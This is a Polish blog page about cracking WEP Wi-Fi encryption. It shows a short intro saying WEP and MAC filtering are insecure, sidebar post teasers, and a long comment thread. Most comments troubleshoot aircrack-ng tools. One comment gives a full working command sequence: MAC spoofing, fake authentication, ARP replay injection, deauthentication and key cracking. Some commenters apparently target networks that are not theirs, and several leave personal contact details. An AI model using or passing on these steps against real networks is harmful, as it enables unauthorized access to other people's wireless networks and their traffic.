Ponieważ, z tego co widzę, łamanie WEP cieszy się zainteresowaniem, przedstawię tutaj krótką instrukcję "jak złamać WEP". Głównie chodzi mi o uświadomienie ludziom, że WEP nie jest bezpieczny, a ewentualne "filtrowanie po MAC" to tylko iluzja jakiegokolwiek bezpieczeństwa.
Piątek, lipca 27. 2007
Jak złamać WEP - krótki przewodnik
Ślady
Defence-in-depth a działania pozorowane
Taka mała kontynuacja poprzedniego postu o sensowności stosowania wirtualnej klawiatury.Defence-in-depth W przypadku bezpieczeństwa bardzo istotne jest stosowanie techniki określanej jako defence-in-depth. W skrócie chodzi o to, że nie należy pole
Taka mała kontynuacja poprzedniego postu o sensowności stosowania wirtualnej klawiatury.Defence-in-depth W przypadku bezpieczeństwa bardzo istotne jest stosowanie techniki określanej jako defence-in-depth. W skrócie chodzi o to, że nie należy pole
Weblog: Wampiryczny blog
Przesłany: Wrz 20, 20:22
Przesłany: Wrz 20, 20:22
Czego szukali w 2008 roku...
...i trafili na mój blog, jak trafiają na mój blog czytelnicy? Miałem 101,914 odwiedzin i 145,978 wyświetleń strony, co daje tylko 1,43 strony na wizytę. Z ciekawości kilka dodatkowych informacji: źródła odwiedzin, najpopularniejsze treści, goście,
...i trafili na mój blog, jak trafiają na mój blog czytelnicy? Miałem 101,914 odwiedzin i 145,978 wyświetleń strony, co daje tylko 1,43 strony na wizytę. Z ciekawości kilka dodatkowych informacji: źródła odwiedzin, najpopularniejsze treści, goście,
Weblog: Wampiryczny blog
Przesłany: Cze 06, 20:08
Przesłany: Cze 06, 20:08
O LiveCD
Postanowiłem napisać kilka słów na temat dystrybucji LiveCD, w szczególności na temat BackTrack. Mam wrażenie, że w świadomości wielu ludzi kompilacje takie jak wspomniany BackTrack dają jakieś nadzwyczajne moce (możliwości). A tak po prostu nie jest.
Postanowiłem napisać kilka słów na temat dystrybucji LiveCD, w szczególności na temat BackTrack. Mam wrażenie, że w świadomości wielu ludzi kompilacje takie jak wspomniany BackTrack dają jakieś nadzwyczajne moce (możliwości). A tak po prostu nie jest.
Weblog: Wampiryczny blog
Przesłany: Cze 06, 20:13
Przesłany: Cze 06, 20:13
BackTrack 4 Pre Release
Kilka dni temu pojawił się BackTrack 4 Pre Release, który można pobrać z remote-exploit.org. Szczerze mówiąc, choć zastąpiłem BT3 przez BT4 na moim pendrive, to nie miałem wiele okazji, by dokładniej przyglądnąć się zmianom, zresztą co do użyteczności Liv
Kilka dni temu pojawił się BackTrack 4 Pre Release, który można pobrać z remote-exploit.org. Szczerze mówiąc, choć zastąpiłem BT3 przez BT4 na moim pendrive, to nie miałem wiele okazji, by dokładniej przyglądnąć się zmianom, zresztą co do użyteczności Liv
Weblog: Wampiryczny blog
Przesłany: Cze 23, 22:12
Przesłany: Cze 23, 22:12

Bardzo Ciekawy i przydatny artykuł. Szkoda że sobie nie umiem poradzić (pewnie brak doświadczenia). Mam owy problem: "airodump-ng nazwa_interfejsu"
zaraz na początku w miejsce interfejsu. Próbowałem skonfigurować po przez:
-ifconfig eth0
-ifconfig eth0 promisc
-ifconfig eth0
airodump-ng promisc (próbowałem też eth0 wpisać) ale chyba mylę pojęcia. Nie proszę o pomoc w postaci podania rozwiązania na tacy tylko małej wskazówki dzięki której zrozumiem błąd który popełniłem.
Pozdrawiam
ifconfig -a
Sprawdź, która jest kartą WiFi (iwconfig powinno to powiedzieć),
W zależności od tego jaka to jest karta, konfiguruje się ją przy pomocy iwconfig lub wlanconfig (atheros).
Tylko wydaje mi sie, ze jest pewna niescislosc - u mnie airodump (z backtrack-a 2) jak najbardziej podawal ilosc zebranych IVS, a mianowicie w kolumnie #Data, tak wiec stwierdzenie: "airodump-ng nie informuje bezpośrednio jak wiele IVS zostało zebrane, więc w oddzielnej konsoli ..." nie wydaje mi sie sluszne.
Poza tym super, dzieki
Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
Ale w wolnej chwili sprawdzę ten szczegół.
Niestety, jak zwykle się gdzieś pogubiłem. Już przy pierwszym wywołaniu airodump-ng wifi0 dostałem błąd o niemożliwości ustawienia monitor mode (error setting monitor mode). Spróbowałem więc ustawić ten tryb poprzez iwconfig, tak jak to opisałeś. Niestety również bez skutku (Set failed on device wifi0; Invalid argument). Próbowałęm ze wszystkimi interfejsami, za każdym razem mam ten sam błąd.
Kartę mam od TP-Linka (Atheros), więc nie spodziewam się, że to jej wina.
Mogę Cię prosić o pomoc? Gdzie szukać rozwiązania?
W szczególności wlanconfig create i wlanconfig destroy.
potem ci wyswietli kary na kktoryych masz wlaczony monitor
lo -no wireless extensions
eth0 - no wireless extensions
prosze o rade
gdy wpisuje iwconfig pojawia mi sie
lo no wireless extensions
eth0 no wireless extensions
prosze o porade
"wlanconfig ath0 destroy"-poczlo,
nastenie:
"wlanconfig ath0 create wlandev wifi0 wlanmode sta" wyrzucilo"ath0"-poczło
następnie wklepałem:
"aireplay-ng --arpreplay -b 00:1B:11:FF:14:84 -h 00:13:02:C0:7A:B7 ath0"
i błąd:
"ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211
or ARPHRD_IEEE80211_PRISM instead. Make sure RFMON is enabled:
run 'ifconfig ath0 up; iwconfig ath0 mode Monitor channel '
Sysfs injection support was not found either."
co w takiej sytuacji powinienem zrobić?
acha, a na komende:
"airodump-ng -w out ath0" wypluwa:
"ioctl(SIOCSIWMODE) failed: Invalid argument
Error setting monitor mode on ath0"
a co ciekawsze na poleceni iwconfig podaje:
"ath0 (...) Mode:Managed (...)"
Bardzo prosze o pomoc...
aireplay-ng --arpreplay -b BSSID -h MAC nazwa_interfejsu wyskakuje taki komunikat:
"The interface MAC (adres mac) doesn't match the specified MAC (-h).
ifconfig eth1 hw ether (adres mac)
Saving ARP requests in .... .cap
You should also start airodump-ng capture replies.
Dalej pobiera dane ale przy ARP ciagle widnieje ) czyli nie dostaje zadnego pakietu ARP, w czym problem, aha karta pracuje na okreslonym kanale i w trybie mode monitor.
http://allegro.pl/item286038506_wyprzedaz_atheros_ar5001_108mbps_na_100mw_gwa_fv.html
Karta ma złącze antenowe, co czasami bywa dość przydatne.
W jaki sposób vista potrafi bezpośrednio sniffować połączenie wireless.
Prosze o mała podpowiedz.
Z góry dzięki!!!
Jeśli możesz odezwij się na moje GG 2295350
Na moje oko karta powinna działać pod windą ze sterownikami od AirPcap.
Jeśli tylko dobrze zagłębiłem się w temat to ta karta jest identyczna z produktami AIR CACE
Mam takie krotkie pytanie dolaczajac sie do postu kolegi. Mianowicie przy probie ataku ARP nie wykrywa ARP request przez co nie przeprowadza ataku. Mam podejrzenie ze chodzi o sterownik karty (Intel). Dodatkowo czesto w dumpie zle wykrywa szyfrowanie (WPA zamiast WEP). Jakis komentarz?
Dziekuje.
mam pytanie zwiazane z karta,
jaka najlepsze karta by byla do łamania wepa i zbierania ivsow.
SLOT: PCI
pozdrawiam
15:10:54 Waiting for beacon frame (BSSID: 00:07:40:A2:F6:7E) on channel 11
Saving ARP requests in replay_arp-0403-151055.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
write failed: Cannot allocate memory and 160 ACKs), sent 652 packets...(499 pps)
wi_write(): Illegal seek
aireplay-ng --arpreplay -b BSSID -h MAC nazwa_interfejsu czyta pakiety i po pewnym czasie znajdzie 1 pakiet ARP (got 1 ARP requests) lecz nad pakietami wysklakuje mi komenda
Noteice: dot a deauth/disassoc packet. Is the source MAC assosiated?
co rbie zle ?
z gory dzieki.
#17: jesteś blokowany przez Access Pointa: po prostu ignoruje twoje pakiety, wysyłając co jakiś czas pakiet deauth.
czy miałeś komunikat "Association successful ;-)" jeśli nie to musisz się zalogować najpierw do sieci(atak -0 lub -1)
Jeśli tak to znaczy że AP potrafi się obronić przed iniekcją, tutaj już chyba nic nie zrobisz(możesz spróbować dużo wolniej), albo poczekać aż ktoś się podłączy i go sprzątnąć;)
A może masz słaby zasięg?
#18
trzeba czekać i próbować, sprawdzić czasem czy dostajesz beacony co 0,1 s czy ile tam jest ustawione(w sensie zasięg).
Przeczytałem cały powyższy artykuł (łącznie z uwagami i choć wiem, że autor wpisu mi nie pomoże, to może ktoś inny to jeszcze czyta, i da mi jakieś wskazówki
--arpreplay -b BSSID nazwa_interfejsu" i znalezieniu jednego pakietu ARP (podobna sytuacja
jak w komentarzu 17 do powyższego artykułu) zaczyna się niby wstrzykiwanie pakietów, ale
ciągle otrzymuję wpisy o treści "Notice: got a deauth/disassoc packet. Is the source MAC
associated ?".
Luki odpisał i tu zaczynają się moje pytania:
1. Co to jest atak -0 lub -1 - jak się zalogować do tej sieci?
2. Skąd będę wiedział, gdy ktoś się podłączy do sieci?
3. Jeśli wpisałbym polecenie "aireplay-ng --arpreplay -b BSSID -h MAC nazwa_interfejsu",
to muszę znać MAC, który jest aktywny w sieci, czyli jakiś komputer z niej korzystający,
tak? I tu powrót do pytania drugiego i skąd ten MAC wziąć?
4. Ostatnie, może banalne pytanie... Jak uruchomić drugą konsolę w BackTrack 4, żeby
airodumpem ewentualnie zbierać pakiety, gdyby udało mi się je wstrzyknąć do sieci?
Próbowałem różnych komend, ale nie uruchamiają drugiego terminala.
Znalazłem ten przewodnik, gdy chciałem dla zabawy złamać własną sieć. Udało mi się! Prosta sprawa!
Jednak nie chcę tu się chwalić jak gładko mi poszło, nie chcę też o nic pytać. Chcę jedynie przedstawić swoją opinię na temat tego poradnika.
Generalnie Panie Autorze informacje zawarte na tej stronie są bardzo przydatne i teoretycznie wystarczające, jednak wyrazam przynajmniej zarozumialstwa jest tekst na końcu opisu "Tak jak pisałem wcześniej, proszę NIE ZADAWAĆ pytań, bo nie będę na nie odpowiadał. Jeśli ktoś chce złamać WEP, a powyższa (nieco uproszczona instrukcja) jest dla niego zbyt trudna, znaczy to najprawdopodobniej, że nie powinien tego robić...".
Rzecz w tym że nie każdy jest biegłym użytkownikiem Linuxa i nie każdy wie co znaczy np. bo interfejs to pojęcie dość szerokie, mogące odnosić się do wielu wariantów pracy systemu. Przewodnik jest pełen takich "niedoróbek".
Ja generalnie praktycznie nie używam Linuxa i było dla mnie problemem na samym początku zrozumienie co mam wpisać w oknie konsoli, pomogły komendy "help" poszczególnych aplikacji.
Podsumowując: Jeśli pisze Pan, Panie Autorze jakikolwiek poradnik, weźmie Pan pod uwagę, że nie wszyscy są tak mądrzy i wszechstronni jak Pan, a brak tej mądrości oraz wszechstronności nie oznacza że ci ludzie są debilami.
Pozdrawiam
"Ważne, by adres MAC był aktywny w sieci. Nie jest to wymagane, ale wówczas należy wykonać kilka dodatkowych kroków, bo bez nich AP może najnormalniej na świecie ignorować będzie wstrzykiwane pakiety"
Możesz choć troszkę to rozwinąć bo nie wiem nawet jakie zapytanie zapodać do gugla.
PS: to jedynie normalnie i przejrzyście napisany poradnik jaki znalazłem w sieci.
http://www.aircrack-ng.org/doku.php?id=how_to_crack_wep_with_no_clients
Opisano wszystko bardzo dokladnie,stosuja jak instrukcje mozhlive zrobicz realne wzlamane WEP, co gładko mi poszło nie jeden raz. Sorry za pomylki, nie jestem polakem.
oddaje mi jakieś 30 ARPów z czego tylko połowa z IVSami. Jeżeli, natomiast, adres MAC nie jest aktywny w sieci, żaden przechwycony pakiet nie zawiera IVSów(pomimo ich ogromnej ilości - przez noc złapałem >3500000). Dodam, że adres MAC
odłączonego już komputera mam sklonowany na
siebie...
Mam ten sam problem ze wstrzyiwaniem pakietów co kolega Maciek.
Mam karte na chipsecie:
ralink ra61 i system bt3
Mianowicie airodump pięknie mi się
odpala i zbiera pakiety, odpalam wstrzykiwanie pakietów, efekt widoczny w konsoli wstrzykiwania jest pozytywny (zbiera pięknie ARP) ale nawet poz zebraniu powyżej 1000 ARP IVS-y nie chcą wcale lecieć szybciej, dioda na karcie sieciowej która zawsze mryga przy wysyłaniu informacji nie włącza się nawet na chwile. Czy ktoś z Was ma tak jak ja? Jak uporać się z tym problemem?
P.S.
Czy w momencie kiedy mam zebranych już kilka ARP i klient podłączony do sieci od którego zbieram ARP odłączy się to czy aireplay nadal będzie mi nabijał IVS-y?
Pozdro dla wszystkich...
Mam taki problem, że skacze mi po kanałach mimo że wpisałem mu wcześniej
iwconfig nazwa_interfejsu channel numer_kanalu
Po za tym ivs zbiera mi bardzo powoli ok. 1 IVS na 2 sek. Czy jest na to jakaś rada?
Filtrowanie po MACu można traktować jako mały dodatego do systemu zabezpieczeń i uważam, że powinno się go stosować.
pozdrawiam
nie bierz się w ogóle do tego artu bo NIC nie skumasz....
http://www.allegro.pl/item473985661_tplink_tl_wn610g_antena_panelowa_backtrack_2_0.html
to lekarstwo na 8IVS
moj problem tkwi w tym :
wszystko zrobilem tak jak jest napisane , tylko jak wlanczam airodump-ng -c () -w() -bssid() eth1 zaczyna mi pobierac pakiety tylko strasznie powoli 10min kilka #date ,,, mam 2 sieci zabespieczone wep i na obydwu tak sie dzieje wie ktos o co kaman ???
probowalem na wlasnym ap i wszystko dzialalo zlamalem keya
prosze o pomoc
A analfabetów (wtórnych/funkcjonalnych) jest więcej niż się może wydawać. Bo nikt nikomu łopatą do głowy wiedzy nie włoży...
Mam problem z wybraniem interfejsu jak wpisuje np wlan0 to pisze "Adapter not supported" albo "No interface specified"
karta wifi to Intel Pro/Wireless 2200BG w Dell'u D610 sterowniki zainstalowane pod ta karte.Próbuje na windowsie nie na linuxie moze dlatego niewyszukuje karty.Jak ktos wie oco w tym chodzi prosił bym o kontakt pod e-mail : krzysiek_p4@op.pl lub gg:5111621 z Góry Dzieki Pozdrawiam
po wpisaniu aireplay-ng --arpreplay -b () -h() interfrejs pisze tylko ze czyta pakiety(i to wolno-10 pak/s)a nie ma ani ARP i pps tyko co 5 min pojawia sie ACK.Moze ktos mi pomoc??
Czy to mozliwe ze w laptopie Amilo PI 2530 z karta bezprzewodowa Intel(R)Pro/Wireless 3945ABG moze nie wykrywać BackTrack 4?
Nic sie nie da zrobic zeby ja wykrywało?
po wpisaniu iwconfig wykrywa mi tylko
lo
eth0
oczywiscie wszystkie no wireless extensions
prosze o pomoc
Uzywam backtrack3, katra proksim orinoco (atheros).
Możliwe, że mój post komuś pomoże
Zaczynam
wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor
w ten sposób ustawiam karte w tryb monitoringu inaczej nie dałem rady
ifconfig ath0 down
macchanger --mac 00:11:22:33:44:55 ath0
ifconfig ath0 up
zmiana adresu mac
wcześniej spisałem numer kanału, mac AP (bssid) i nazwe sieci(essid)
airodump-ng -c (kanał) --bssid (mac AP) -w (nazwa pliku) ath0
otwieram kolejne okno terminala
trzeba się zalogować bo nic nie wstrzyknę
aireplay-ng -1 0 -e "nazwa AP" -a (mac AP) -h 00:11:22:33:44:55 (moj mac) ath0
zauważyłem, że jeżeli nazwa sieci składa się z dwóch wyrazów oddzielnych należy zastosować cudzysłów, jeżeli jeden wyaz to bez niego.
Otwieram kolejne okno
aireplay-ng -3 -b (mac AP) -h (mój mac) ath0
tutaj wstrzykujemy pakiety, może to trochę potrwać, przyspieszamy ten manewr.
otwieramy kolejne okno
aireplay-ng -0 5 -a (mac AP) -c (mój mac) ath0
tutaj wysyłamy pakiet (deauth) który rozłącza nas z AP po takim działaniu szybciej nazbieramy ARP. Osobiście najpierw się logowałem, potem (deautch) rozłączenie i znowu się zalogowałem i ARP poszły błyskawicznie.
Czekasz aż się nazbiera odpowiednia iloś (IVs)
Jak nazbieram około 40000 IVs to zaczynam dalej, ale to minimalna ilość przy której zaczynam.
Otwieram już ostatnie okno terminala
aircrack-ng -z pakiety-01.cap (nazwa pliku, pamietać należy o ścieżce dostępu)
Pamietać należy, jeżeli klucz jest 64 bit to startujemy od min. 40000 IVs natomiast jeśli 128 bit to dopiero min. 85000 IVs
Nie musisz wyłączać aircracka sam dobiera sobie IVs jeśli ma zamało.
Pozdro i zycze powodzenia
Ps. mi nikt nie pomagał, dlatego chcę się z wami podzielić tym co wiem.
aireplay-ng -1 0 -e "nazwa AP" -a (mac AP) -h (moj mac) moj_interfejs
Chyba, że tylko testujecie w domku sobie, ale na rzeczywistych sieciach w 90% przypadkach nie da rady się włamać a tylko dzięki wstrzykiwaniu pakietów można w skończonym zadawalającym czasie uzyskać po 100 tys. pakietów. Mi tam przy każdej z 12 sieci na których próbowałem zawsze i zawsze wyskakuje komunikat:
Sending Authentication Request (Open System)
Nie da rady po prostu. To mit, że zabezpieczenia WEP, WPA, WPA2 da się złamać. Przecież admnini nie śpią, już dawno doszli do tego jak zapobiegać tym śmiesznym opisanym powyżej metodom.
Jestem niestety na poczatku tej drogi, wiec zapytam prosto z mostu jak skonfigurowac karte WIFI na usb karta DLINK DWA125 na Atherosie, dodam ze dzialam na konsoli VMware Workstation 5.5, system mam 64x,niestety jestem zielony w komendach linuksowych i chcialbym bardzo uruchomic karte usb w jakis trybik naslychu badz inny..przy iwconfig wyskakuje mi :
lo no wireless connections
ath0 no wireless connections
od czego mam zaczac, jak to ugrysc
oddzwiecze za jakokalwiek pomoc
romek
Nie posiada narzędzia spoonwep.
Ale można odpalić w trybie persisent czy jakoś tak
i zapisuje wszystkie zmiany.
Jak ktoś nie wiem jak do takiego trybu przygotować
pendrive to niech pisze, wytłumaczę (zalecany pendrive 4GB)
Teraz pod windowsem łącze sie z ta siecia podaje haslo i potwierdzam haslo. Komputer ma ustawione automatyczne pobieranie adresu ip. Po jakims czasie przypisuje sobie ip brame i mam komunikat ograniczone polaczenie lub brak polaczenia.
Moze router ma wlaczone filtrowanie MAC. Jak to sprawdzic czy tak jest.
łamanie hasla zajelo okolo 1 godziny. Tylko teraz jest problem z polaczeniem.